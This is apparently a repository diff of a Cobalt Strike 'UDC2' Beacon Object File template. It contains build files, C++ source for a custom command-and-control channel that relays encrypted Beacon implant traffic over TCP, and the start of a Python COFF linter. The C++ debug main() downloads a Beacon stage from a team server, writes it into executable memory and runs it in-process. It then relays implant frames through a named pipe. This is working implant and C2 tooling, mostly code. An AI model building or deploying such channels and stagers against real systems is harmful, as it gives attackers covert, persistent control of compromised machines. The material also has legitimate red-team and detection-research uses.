<NMakeBuildCommandLine>nmake /A all-debug</NMakeBuildCommandLine>
<NMakeReBuildCommandLine>nmake /A all-debug</NMakeReBuildCommandLine>
<NMakeCleanCommandLine>nmake clean</NMakeCleanCommandLine>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<NMakeBuildCommandLine>nmake /A all-debug</NMakeBuildCommandLine>
<NMakeReBuildCommandLine>nmake /A all-debug</NMakeReBuildCommandLine>
<NMakeCleanCommandLine>nmake clean</NMakeCleanCommandLine>
<IncludePath>$(MSBuildProjectDirectory)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\build\native\include;$(IncludePath)</IncludePath>
<AdditionalOptions>/std:c++20</AdditionalOptions>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='UnitTest|x64'">
<NMakeBuildCommandLine>nmake /A all-debug</NMakeBuildCommandLine>
<NMakeReBuildCommandLine>nmake /A all-debug</NMakeReBuildCommandLine>
<NMakeCleanCommandLine>nmake clean</NMakeCleanCommandLine>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='UnitTest|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_GTEST;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<LanguageStandard>stdcpp20</LanguageStandard>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<AdditionalIncludeDirectories>$(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\build\native\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>$(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\lib\native\v140\windesktop\msvcstl\static\rt-static\$(PlatformTarget)\Debug\gtest_maind.lib;$(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\lib\native\v140\windesktop\msvcstl\static\rt-static\$(PlatformTarget)\Debug\gtestd.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='UnitTest|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;_GTEST;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<LanguageStandard>stdcpp20</LanguageStandard>
<AdditionalIncludeDirectories>$(SolutionDir)packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\build\native\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>$(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\lib\native\v140\windesktop\msvcstl\static\rt-static\$(PlatformTarget)\Debug\gtest_maind.lib;$(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\lib\native\v140\windesktop\msvcstl\static\rt-static\$(PlatformTarget)\Debug\gtestd.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="udc2_bof.cpp">
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">C:\Users\User\source\repos\BOF-Template\x64\Debug\bof.exe</ExcludedFromBuild>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="base\helpers.h" />
<ClInclude Include="udc2.h" />
</ItemGroup>
<ItemGroup>
<None Include="..\tcp_udc2_server.py" />
<None Include="Makefile" />
<None Include="utils\boflint.py" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
+38
View File
@@ -0,0 +1,38 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
<Filter Include="Header Files\base">
<UniqueIdentifier>{8fa0224c-f4ab-4998-991b-bf2b56db2848}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="udc2_bof.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="base\helpers.h">
<Filter>Header Files\base</Filter>
</ClInclude>
<ClInclude Include="udc2.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<None Include="Makefile" />
<None Include="utils\boflint.py" />
<None Include="..\tcp_udc2_server.py" />
</ItemGroup>
</Project>
+4
View File
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
+9
View File
@@ -0,0 +1,9 @@
#pragma once
typedef int(*UDC2ProxyCall)(const char* sendBuf, int sendBufLen, char* recvBuf, int recvBufMaxLen);
typedef void(*UDC2ProxyClose)();
typedef struct _UDC2_INFO {
DWORD version;
UDC2ProxyCall proxyCall;
UDC2ProxyClose proxyClose;
} UDC2_INFO, * PUDC2_INFO;
+373
View File
@@ -0,0 +1,373 @@
#include <Windows.h>
#include "base\helpers.h"
#include "udc2.h"
/**
* For the debug build we want:
* a) Undefine DECLSPEC_IMPORT
*/
#ifdef _DEBUG
#undef DECLSPEC_IMPORT
#define DECLSPEC_IMPORT
#include <string>
#pragma comment(lib, "ws2_32.lib")
#endif
extern "C" {
// Define our Dynamic Function Resolution declarations
DFR(WS2_32, WSAStartup);
DFR(WS2_32, WSACleanup);
DFR(WS2_32, inet_addr);
DFR(WS2_32, htons);
DFR(WS2_32, connect);
DFR(WS2_32, socket);
DFR(WS2_32, closesocket);
DFR(WS2_32, send);
DFR(WS2_32, recv);
#define WSAStartup WS2_32$WSAStartup
#define WSACleanup WS2_32$WSACleanup
#define inet_addr WS2_32$inet_addr
#define htons WS2_32$htons
#define connect WS2_32$connect
#define socket WS2_32$socket
#define closesocket WS2_32$closesocket
#define send WS2_32$send
#define recv WS2_32$recv
#define FRAME_LENGTH 4
LPCSTR gUDC2Server = "127.0.0.1"; // SET THIS TO THE BIND ADDRESS OF THE UDC2 TCP SERVER PYTHON SCRIPT
USHORT gUDC2ServerPort = 3333; // SET THIS TO THE BIND PORT OF THE UDC2 TCP SERVER PYTHON SCRIPT
SOCKET gSocket = INVALID_SOCKET;
/**
* @brief Beacon calls this function to send/receive encrypted frame data
* via the UDC2 channel. The sendBuf parameter points to the outgoing frame
* data and the recvBuf parameter expects to receive the response. This is in
* effect a proxy function as it intercepts the outbound and inbound frame
* data.
*
* Note:
* - Send the sendBuf data to the UDC2 server
* - Copy the relayed response frame into recvBuf
* - Return the total number of bytes copied to recvBuf
* - Return -1 to indicate an error condition
* - A return value of -1 or 0 causes Beacon to reset the session
*
*
* @param sendBuf Points to Beacon frame data that needs to be sent out
* @param sendBufLen The total length of the frame data
* @param recvBuf Points to Beacon memory that you should copy response frame data to
* @param recvBufMaxLen The max size of the recv buffer. Do not copy data past this length.
* Note that this size can be controlled by the tasks_max_size malleable c2 profile setting. It
* defaults to 1 MB.
* @return The total number of bytes copied to recvBuf or -1 on any failure
*/
int udc2Proxy(const char* sendBuf, int sendBufLen, char* recvBuf, int recvBufMaxLen) {
int bytesSent = 0;
int bytesToReceive = 0;
int bytesCopied = 0;
/**
* Send out our frame. Beacon always provides us a complete frame in sendBuf.
* The structure in sendBuf is -> | 4-byte frame data length | frame data |
*/
while (bytesSent < sendBufLen) {
int result = send(gSocket, sendBuf + bytesSent, sendBufLen - bytesSent, 0);
if (result <= 0)
return SOCKET_ERROR;
bytesSent += result;
}
/**
* We'll read the frame length into the recv buffer first so we know how much
* more data we need to receive, and then we'll complete the frame by reading
* in the rest of the data. The data that goes into recvBuf must look like
* -> | 4-byte frame data length | frame data |
*
* NOTE: The frame length value must always be written in little endian.
*/
int frameLen = recv(gSocket, recvBuf, FRAME_LENGTH, 0);
if (frameLen <= 0)
return SOCKET_ERROR;
/* don't receive more than we have space for */
bytesToReceive = *(int*)recvBuf;
if (bytesToReceive + FRAME_LENGTH > recvBufMaxLen)
return SOCKET_ERROR;
/* receive the rest of the data into the read buffer */
while (bytesCopied < bytesToReceive) {
int result = recv(gSocket, recvBuf + FRAME_LENGTH + bytesCopied, bytesToReceive - bytesCopied, 0);
if (result <= 0)
return SOCKET_ERROR;
bytesCopied += result;
}
/* here we have to account for the 4-byte frame length we wrote first, plus the frame data */
return bytesCopied + FRAME_LENGTH;
}
/**
* @brief Called by Beacon when closing the UDC2 channel. This should be used for any cleanup
* you may need to perform.
*/
void udc2Close() {
closesocket(gSocket);
WSACleanup();
}
/**
* @brief Example function to perform any local initialization tasks for your UDC2 BOF
*/
int init() {
struct sockaddr_in sock;
WORD wVersionRequested;
WSADATA wsaData;
int result;
/* init winsock */
wVersionRequested = MAKEWORD(2, 2);
result = WSAStartup(wVersionRequested, &wsaData);
if (result != 0)
return SOCKET_ERROR;
/* set up a TCP socket to connect to our UDC2 server */
sock.sin_family = AF_INET;
sock.sin_addr.s_addr = inet_addr(gUDC2Server);
sock.sin_port = htons(gUDC2ServerPort);
gSocket = socket(AF_INET, SOCK_STREAM, 0);
if (gSocket == INVALID_SOCKET) {
WSACleanup();
return SOCKET_ERROR;
}
/**
* NOTE: Here you might choose to set some socket options such as a timeout
* so that Beacon doesn't just sit unmasked in the event your connect, send,
* or recv hangs.
*/
/* connect to our UDC2 server */
if (connect(gSocket, (struct sockaddr*)&sock, sizeof(sock))) {
closesocket(gSocket);
WSACleanup();
return SOCKET_ERROR;
}
return ERROR_SUCCESS;
}
/**
* @brief The UDC2 BOF entry point. Beacon calls this function to initialize the
* UDC2 BOF and passes a pointer to a UDC2_INFO structure as the args parameter.
* You must populate the struct members with your udc2Proxy and udc2Close functions,
* otherwise Beacon will assume an error has occurred and exit. This is where any
* initialization you need for your UDC2 channel should occur.
*
* @param args Pointer to a UDC2_INFO structure
* @param len Length of the args buffer
*/
void go(char* args, int len) {
PUDC2_INFO funcs = (PUDC2_INFO)args;
if (ERROR_SUCCESS == init()) {
funcs->proxyCall = udc2Proxy;
funcs->proxyClose = udc2Close;
funcs->version = 0x041200;
}
}
}
// Define a main function for the debug build
#if defined(_DEBUG)
#define PAYLOAD_MAX_SIZE 512 * 1024
/**
* BUFFER_MAX_SIZE mocks the tasks_max_size malleable c2 profile setting. It
* is passed as the frameBufferMaxLen value to your udc2 proxy function.
* NOTE: If you change the tasks_max_size to something other than the
* default (which is 1 MB), you should also change BUFFER_MAX_SIZE to match
* it when testing code.
*/
#define BUFFER_MAX_SIZE 1024 * 1024
// read a frame from a file
DWORD readFrame(HANDLE myHandle, char* buffer, DWORD max) {
DWORD size = 0, temp = 0, total = 0;
// read the 4-byte length
ReadFile(myHandle, (char*)&size, 4, &temp, NULL);
// read the whole thing in
while (total < size) {
ReadFile(myHandle, buffer + total, size - total, &temp, NULL);
total += temp;
}
return size;
}
// receive a frame from a socket
DWORD recvFrame(SOCKET mySocket, char* buffer, DWORD max) {
DWORD size = 0, total = 0, temp = 0;
// read the 4-byte length
recv(mySocket, (char*)&size, 4, 0);
// read in the result
while (total < size) {
temp = recv(mySocket, buffer + total, size - total, 0);
total += temp;
}
return size;
}
// send a frame via a socket
void sendFrame(SOCKET mySocket, char* buffer, int length) {
send(mySocket, (char*)&length, 4, 0);
send(mySocket, buffer, length, 0);
}
// write a frame to a file
void writeFrame(HANDLE myHandle, char* buffer, DWORD length) {
DWORD wrote = 0;
WriteFile(myHandle, (void*)&length, 4, &wrote, NULL);
WriteFile(myHandle, buffer, length, &wrote, NULL);
}
/*******************************************************************
* @brief This function retrieves a Beacon payload and injects it into
* the current process. This allows the Debug Beacon to mock how the UDC2
* Beacon functions.
*
* NOTE: This is for Debug purposes only and is not intended to
* replace the need for a UDC2 server. Also be aware that the debug
* session does not honor any sleep malleable c2 profile settings as
* it uses an SMB Beacon payload which does not support sleep. This
* will make the debug session in effect interactive, however when
* using your Release BOF, the sleep malleable c2 profile settings
* will be honored.
*
* 1. Set up a UDC2 listener (select debug-only)
* 2. Update the UDC2_DEBUG_HOST and UDC2_DEBUG_PORT variables
* 3. Start the example UDC2 server
* 4. Select "Local Windows Debugger"
********************************************************************/
int main(int argc, char* argv[]) {
struct sockaddr_in sock;
UDC2_INFO udc2Info = { 0 };
WSADATA wsaData;
WORD wVersionRequested;
LPCSTR UDC2_DEBUG_HOST = "127.0.0.1"; // SET THIS TO YOUR UDC2 LISTENER HOST (Team Server)
USHORT UDC2_DEBUG_PORT = 2222; // SET THIS TO YOUR UDC2 LISTENER PORT
wVersionRequested = MAKEWORD(2, 2);
sock.sin_family = AF_INET;
sock.sin_addr.s_addr = inet_addr(UDC2_DEBUG_HOST);
sock.sin_port = htons(UDC2_DEBUG_PORT);
// initialize the udc2 bof
go((char*)&udc2Info, 0);
if (!udc2Info.proxyCall || !udc2Info.proxyClose) {
printf("UDC2 functions not initialized properly.\n");
return -1;
}
WSAStartup(wVersionRequested, &wsaData);
// attempt to connect to udc2 listener
SOCKET socketUDC2 = socket(AF_INET, SOCK_STREAM, 0);
if (connect(socketUDC2, (struct sockaddr*)&sock, sizeof(sock))) {
printf(
"Could not connect to %s:%d. Make sure you have a UDC2 debug-only listener set up.\n",
UDC2_DEBUG_HOST,
UDC2_DEBUG_PORT
);
exit(0);
}
/**
* Grab the correct smb Beacon for our arch.
*
* NOTE: arch, block, pipename, and debugpayload
* commands are only available to debug-only udc2
* listeners and only intended for use by this
* VS project.
*/
#ifdef _M_X64
sendFrame(socketUDC2, (char*)"arch=x64", 8);
#else
sendFrame(socketUDC2, (char*)"arch=x86", 8);
#endif
sendFrame(socketUDC2, (char*)"block=100", 9);
sendFrame(socketUDC2, (char*)"pipename=udc2_debug", 19);
// request our stage
sendFrame(socketUDC2, (char*)"debugpayload", 12);
// receive our stage
char* payload = (char*)VirtualAlloc(0, PAYLOAD_MAX_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
recvFrame(socketUDC2, payload, PAYLOAD_MAX_SIZE);
closesocket(socketUDC2);
// execute the payload stage in the current process
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)payload, (LPVOID)NULL, 0, NULL);
// connect to our Beacon named pipe
HANDLE handleBeacon = INVALID_HANDLE_VALUE;
while (handleBeacon == INVALID_HANDLE_VALUE) {
Sleep(1000);
handleBeacon = CreateFileA("\\\\.\\pipe\\udc2_debug", GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, NULL);
}
// setup our buffers
char* buffer = (char*)malloc(BUFFER_MAX_SIZE); // 1MB should do
char* readBuffer = (char*)malloc(BUFFER_MAX_SIZE); // 1MB should do
// relay frames back and forth
while (TRUE) {
// if Beacon exits, bail
DWORD waitRes = WaitForSingleObject(hThread, 0);
if (waitRes == WAIT_OBJECT_0)
break;
// read from our named pipe Beacon
DWORD read = readFrame(handleBeacon, buffer, BUFFER_MAX_SIZE);
if (read < 0) {
break;
}
// rebuild the frame so it starts with the frame length
char* out = (char*)malloc(read + 4);
memcpy(out, &read, sizeof(int));
memcpy(out + sizeof(int), buffer, read);
// invoke our udc2 proxy to relay the data and recv the response
read = udc2Info.proxyCall(out, sizeof(int) + read, readBuffer, BUFFER_MAX_SIZE);
free(out);
if (read < 0)
break;
// write to our named pipe Beacon, adjusting for frame length since
// the proxy call returns the full frame data from the UDC2 server
writeFrame(handleBeacon, readBuffer + sizeof(int), read - sizeof(int));
}
udc2Info.proxyClose();
// close our handles
CloseHandle(handleBeacon);
CloseHandle(hThread);
free(readBuffer);
free(buffer);
VirtualFree(payload, 0, MEM_RELEASE);
return 0;
}
#endif
+799
View File
@@ -0,0 +1,799 @@
#!/usr/bin/env python3
import sys
import os
import struct
from enum import Enum, auto, IntFlag
import argparse
from pathlib import Path
###############################################################################
# Constants and Struct Formats
###############################################################################
COFF_HEADER_FORMAT = "<HHLLLHH" # 20 bytes
COFF_HEADER_SIZE = struct.calcsize(COFF_HEADER_FORMAT)
SECTION_HEADER_FORMAT = "<8sLLLLLLHHL" # 40 bytes
SECTION_HEADER_SIZE = struct.calcsize(SECTION_HEADER_FORMAT)
SYMBOL_FORMAT = "<8sLHHBB" # 18 bytes
SYMBOL_SIZE = struct.calcsize(SYMBOL_FORMAT)
RELOCATION_FORMAT = "<LLH" # 10 bytes
RELOCATION_SIZE = struct.calcsize(RELOCATION_FORMAT)
# Machine constants
MACHINE_X86 = 0x14C # IMAGE_FILE_MACHINE_I386
MACHINE_AMD64 = 0x8664 # IMAGE_FILE_MACHINE_AMD64
# Define relocation types
class ImageRelocationType(Enum):
IMAGE_REL_I386_ABSOLUTE = 0x0000
IMAGE_REL_I386_DIR16 = 0x0001
IMAGE_REL_I386_REL16 = 0x0002
IMAGE_REL_I386_DIR32 = 0x0006
IMAGE_REL_I386_DIR32NB = 0x0007
IMAGE_REL_I386_SEG12 = 0x0009
IMAGE_REL_I386_SECTION = 0x000A
IMAGE_REL_I386_SECREL = 0x000B
IMAGE_REL_I386_TOKEN = 0x000C
IMAGE_REL_I386_SECREL7 = 0x000D
IMAGE_REL_I386_REL32 = 0x0014
IMAGE_REL_AMD64_ABSOLUTE = 0x0000
IMAGE_REL_AMD64_ADDR64 = 0x0001
IMAGE_REL_AMD64_ADDR32 = 0x0002
IMAGE_REL_AMD64_ADDR32NB = 0x0003
IMAGE_REL_AMD64_REL32 = 0x0004
IMAGE_REL_AMD64_REL32_1 = 0x0005
IMAGE_REL_AMD64_REL32_2 = 0x0006
IMAGE_REL_AMD64_REL32_3 = 0x0007
IMAGE_REL_AMD64_REL32_4 = 0x0008
IMAGE_REL_AMD64_REL32_5 = 0x0009
IMAGE_REL_AMD64_SECTION = 0x000A
IMAGE_REL_AMD64_SECREL = 0x000B
IMAGE_REL_AMD64_SECREL7 = 0x000C
IMAGE_REL_AMD64_TOKEN = 0x000D
IMAGE_REL_AMD64_SREL32 = 0x000E
IMAGE_REL_AMD64_PAIR = 0x000F
IMAGE_REL_AMD64_SSPAN32 = 0x0010
IMAGE_REL_AMD64_EHANDLER = 0x0011
IMAGE_REL_AMD64_IMPORT_BR = 0x0012
IMAGE_REL_AMD64_IMPORT_CALL = 0x0013
IMAGE_REL_AMD64_CFG_BR = 0x0014
IMAGE_REL_AMD64_CFG_BR_REX = 0x0015
IMAGE_REL_AMD64_CFG_CALL = 0x0016
IMAGE_REL_AMD64_INDIR_BR = 0x0017
IMAGE_REL_AMD64_INDIR_BR_REX = 0x0018
IMAGE_REL_AMD64_INDIR_CALL = 0x0019
IMAGE_REL_AMD64_INDIR_BR_SWITCHTABLE_FIRST = 0x0020
IMAGE_REL_AMD64_INDIR_BR_SWITCHTABLE_LAST = 0x002F
list_of_implant_functions_cs = [
"BeaconDataParse",
"BeaconDataPtr",
"BeaconDataInt",
"BeaconDataShort",
"BeaconDataLength",
"BeaconDataExtract",
"BeaconFormatAlloc",
"BeaconFormatReset",
"BeaconFormatAppend",
"BeaconFormatPrintf",
"BeaconFormatToString",
"BeaconFormatFree",
"BeaconFormatInt",
"BeaconOutput",
"BeaconPrintf",
"BeaconUseToken",
"BeaconRevertToken",
"BeaconIsAdmin",
"BeaconGetSpawnTo",
"BeaconInjectProcess",
"BeaconInjectTemporaryProcess",
"BeaconSpawnTemporaryProcess",
"BeaconCleanupProcess",
"toWideChar",
"BeaconInformation",
"BeaconAddValue",
"BeaconGetValue",
"BeaconRemoveValue",
"BeaconDataStoreGetItem",
"BeaconDataStoreProtectItem",
"BeaconDataStoreUnprotectItem",
"BeaconDataStoreMaxEntries",
"BeaconGetCustomUserData",
"BeaconGetSyscallInformation",
"BeaconVirtualAlloc",
"BeaconVirtualAllocEx",
"BeaconVirtualProtect",
"BeaconVirtualProtectEx",
"BeaconVirtualFree",
"BeaconGetThreadContext",
"BeaconSetThreadContext",
"BeaconResumeThread",
"BeaconOpenProcess",
"BeaconOpenThread",
"BeaconCloseHandle",
"BeaconUnmapViewOfFile",
"BeaconVirtualQuery",
"BeaconDuplicateHandle",
"BeaconReadProcessMemory",
"BeaconWriteProcessMemory",
"BeaconDisableBeaconGate",
"BeaconEnableBeaconGate",
"GetProcAddress",
"GetModuleHandleA",
"GetModuleHandleW",
"LoadLibraryA",
"LoadLibraryW",
"FreeLibrary"
]
list_of_implant_functions_oc2 = [
"BeaconDataParse",
"BeaconDataInt",
"BeaconDataShort",
"BeaconDataLength",
"BeaconDataExtract",
"BeaconFormatAlloc",
"BeaconFormatFree",
"BeaconFormatReset",
"BeaconFormatAppend",
"BeaconFormatPrintf",
"BeaconFormatToString",
"BeaconFormatInt",
"BeaconPrintf",
"BeaconOutput",
"BeaconUseToken",
"BeaconRevertToken",
"BeaconIsAdmin",
"BeaconThrow",
"BeaconInjectProcess",
"GetProcAddress",
"GetModuleHandleA",
"GetModuleHandleW",
"LoadLibraryA",
"LoadLibraryW",
"FreeLibrary"
]
list_of_implant_functions_ci = [
"BeaconDataParse",
"BeaconDataPtr",
"BeaconDataInt",
"BeaconDataShort",
"BeaconDataLength",
"BeaconDataExtract",
"BeaconFormatAlloc",
"BeaconFormatReset",
"BeaconFormatAppend",
"BeaconFormatPrintf",
"BeaconFormatToString",
"BeaconFormatFree",
"BeaconFormatInt",
"BeaconOutput",
"BeaconPrintf",
"GetProcAddress",
"GetModuleHandleA",
"LoadLibraryA",
"FreeLibrary"
]
###############################################################################
# Classes Representing COFF Structures
###############################################################################
class COFFFileHeader:
"""
Represents the 20-byte COFF File Header.
"""
__slots__ = (
"machine", "number_of_sections", "time_date_stamp",
"pointer_to_symbol_table", "number_of_symbols",
"size_of_optional_header", "characteristics",
)
def __init__(self, machine, number_of_sections, time_date_stamp,
pointer_to_symbol_table, number_of_symbols,
size_of_optional_header, characteristics):
self.machine = machine
self.number_of_sections = number_of_sections
self.time_date_stamp = time_date_stamp
self.pointer_to_symbol_table = pointer_to_symbol_table
self.number_of_symbols = number_of_symbols
self.size_of_optional_header = size_of_optional_header
self.characteristics = characteristics
@classmethod
def from_file(cls, f):
data = f.read(COFF_HEADER_SIZE)
if len(data) < COFF_HEADER_SIZE:
raise ValueError("File too small to contain a valid COFF header.")
(
machine,
number_of_sections,
time_date_stamp,
pointer_to_symbol_table,
number_of_symbols,
size_of_opt_header,
characteristics
) = struct.unpack(COFF_HEADER_FORMAT, data)
return cls(
machine,
number_of_sections,
time_date_stamp,
pointer_to_symbol_table,
number_of_symbols,
size_of_opt_header,
characteristics
)
class COFFSectionHeader:
"""
Represents a 40-byte COFF Section Header.
"""
__slots__ = (
"name", "virtual_size", "virtual_address", "size_of_raw_data",
"pointer_to_raw_data", "pointer_to_relocations", "pointer_to_line_numbers",
"number_of_relocations", "number_of_line_numbers", "characteristics",
)
def __init__(self, name, virtual_size, virtual_address, size_of_raw_data,
pointer_to_raw_data, pointer_to_relocations, pointer_to_line_numbers,
number_of_relocations, number_of_line_numbers, characteristics):
self.name = name
self.virtual_size = virtual_size
self.virtual_address = virtual_address
self.size_of_raw_data = size_of_raw_data
self.pointer_to_raw_data = pointer_to_raw_data
self.pointer_to_relocations = pointer_to_relocations
self.pointer_to_line_numbers = pointer_to_line_numbers
self.number_of_relocations = number_of_relocations
self.number_of_line_numbers = number_of_line_numbers
self.characteristics = characteristics
@classmethod
def from_file(cls, f):
data = f.read(SECTION_HEADER_SIZE)
if len(data) < SECTION_HEADER_SIZE:
raise ValueError("File ended while reading section header.")
(
name_bytes,
virtual_size,
virtual_address,
size_of_raw_data,
ptr_raw_data,
ptr_relocs,
ptr_linenums,
num_relocs,
num_linenums,
characteristics
) = struct.unpack(SECTION_HEADER_FORMAT, data)
# decode section name (null-terminated within 8 bytes)
name = name_bytes.split(b'\x00', 1)[0].decode(errors='ignore')
return cls(
name,
virtual_size,
virtual_address,
size_of_raw_data,
ptr_raw_data,
ptr_relocs,
ptr_linenums,
num_relocs,
num_linenums,
characteristics
)
class COFFSymbol:
"""
Represents an 18-byte COFF Symbol Table entry.
"""
__slots__ = (
"name_raw", "value", "section_number", "type_", "storage_class",
"number_of_aux_symbols"
)
def __init__(self, name_raw, value, section_number, type_, storage_class, number_of_aux_symbols):
self.name_raw = name_raw
self.value = value
self.section_number = section_number
self.type_ = type_
self.storage_class = storage_class
self.number_of_aux_symbols = number_of_aux_symbols
@classmethod
def from_file(cls, f):
data = f.read(SYMBOL_SIZE)
if len(data) < SYMBOL_SIZE:
raise ValueError("Unexpected end of file while reading symbol.")
(name_bytes, value, section_number, type_, storage_class, num_aux) = \
struct.unpack(SYMBOL_FORMAT, data)
return cls(
name_raw=name_bytes,
value=value,
section_number=section_number,
type_=type_,
storage_class=storage_class,
number_of_aux_symbols=num_aux
)
class COFFRelocation:
"""
Represents a 10-byte COFF Relocation entry.
"""
__slots__ = ("virtual_address", "symbol_table_index", "type_")
def __init__(self, virtual_address, symbol_table_index, type_):
self.virtual_address = virtual_address
self.symbol_table_index = symbol_table_index
self.type_ = type_
@classmethod
def from_file(cls, f):
data = f.read(RELOCATION_SIZE)
if len(data) < RELOCATION_SIZE:
raise ValueError("Unexpected end of file while reading relocation.")
virt_addr, sym_idx, typ = struct.unpack(RELOCATION_FORMAT, data)
return cls(virt_addr, sym_idx, typ)
###############################################################################
# Main COFF Object Container
###############################################################################
class COFFObject:
"""
Collects a parsed COFF object file:
- file_header (COFFFileHeader)
- section_headers (list[COFFSectionHeader])
- symbols (list[COFFSymbol])
- relocations (dict[int -> list[COFFRelocation]]) indexed by section index
- raw string table
Provides a .lint() method to do basic checks.
"""
def __init__(self):
self.file_header = None
self.section_headers = []
self.symbols = []
self.relocations = {} # section_index -> list of relocations
self.string_table = b''
@classmethod
def from_file(cls, path):
obj = cls()
